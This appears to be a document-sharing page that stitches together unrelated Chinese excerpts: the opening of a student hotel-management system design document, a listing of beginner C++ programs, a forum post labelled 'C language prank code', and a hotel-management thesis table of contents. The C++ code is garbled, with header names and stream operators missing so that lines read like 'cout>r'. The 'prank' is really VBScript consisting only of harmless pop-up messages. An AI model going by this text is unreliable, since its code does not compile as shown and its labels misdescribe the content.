酒店管理系统 详细设计A 2011/2012 学年第一学期 学院:电子与计算机科学技术学院 专业:软件工程 学生姓名:徐星星学号: 课程设计题目:商务酒店运营管理与流程控制系统 ——酒店业务管理子系统 起迄日期:2011年11月28 日~ 2011年12月23日 课程设计地点:软件工程实验室 指导教师:周海英 系主任:潘广贞 1.引言 1.1 编写目的 编写本说明书的目的是说明对程序系统的设计考虑,包括程序系统的基本处理流程、程序系统的组织结构、功能分配、模块化粉、接口设计、运行设计、数据结构设计和出 错设计等,比概要设计更为详细,为编码的实现打下基础。 预期读者为:软件开发的人员,项目评审人员,及软件测试人员。 1.2背景 说明: ①待开发的软件系统的名称:酒店管理系统; ②本项目的任务提出者:酒店管理人员; ③本项目的任务开发者:酒店管理系统软件开发小组; ④用户及实现该软件的计算中心:酒店计算机; 1.3 定义

顾客就餐管理:对就餐的顾客进行管理,并存储顾客消费记录。 顾客住宿管理:对就餐的住宿进行管理,并存储顾客住宿记录。 顾客信息:存放顾客的姓名,证件类型,证件号,性别,年龄,籍贯,工作单位等 各项基本信息,还有就餐住宿信息,管理员负责管理顾客基本信息。 房间信息:包括房间编号,房间等级,房间价格,房间类型等信息 菜肴信息:包括菜肴编号,菜肴名称,菜肴价格,菜肴类型等信息 1.4 参考资料 ①《现代软件工程》北京希望电子出版社孙涌等编著 ②详细设计说明书(GB8567——88).doc 2. 程序系统的结构 用一系列图表列出本程序系统内的每个程序(包括每个模块和子程序)的名称、标识符

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

酒店管理系统的设计与实现(正文+部分源代码)_毕业设计

酒店管理系统的设计与实现(正文+部分源代码) 目录 摘要........................................................ I II Abstract ...................................................... I V 引言. (1) 第一章绪论 (2) 1.1 系统开发背景 (2) 1.2 课题研究目的及意义 (2) 1.3 国内外现状及发展动态 (3) 1.4 系统开发工具及相关技术 (4) 1.4.1 系统开发工具 (4) 1.4.2 数据库开发工具 (4) 1.4.3 C#开发语言介绍 (5) 第二章系统分析 (8) 2.1 需求分析 (8) 2.1.1 系统的主要功能 (8) 2.1.2 系统的实现目标 (8) 2.1.3 系统的性能需求 (9) 2.1.4 运行环境 (10) 2.2 可行性分析 (11) 2.3 数据需求分析 (12) 2.4 数据字典 (14) 2.5 数据流图 (15) 第三章系统设计 (16) 3.1 系统功能结构设计 (16) 3.2 数据库设计 (17)

3.3 系统流程图 (20) 第四章系统详细设计与实现 (22) 4.1 用户登录 (22) 4.3客房管理 (25) 4.3.1客房信息修改 (25) 4.3.2 入住管理 (29) 4.3.3 退租管理 (33) 4.3.4 客房类型管理 (35) 4.4 员工管理 (38) 4.5财务管理 (44) 4.6 酒店初始化 (46) 4.7用户密码更改 (48) 第五章系统测试 (52) 5.1测试的作用和意义 (52) 5.2测试方法 (52) 5.3系统测试 (53) 结束语 (57) 参考文献 (58) 致谢 (59) 附录 (60)

相关文档
最新文档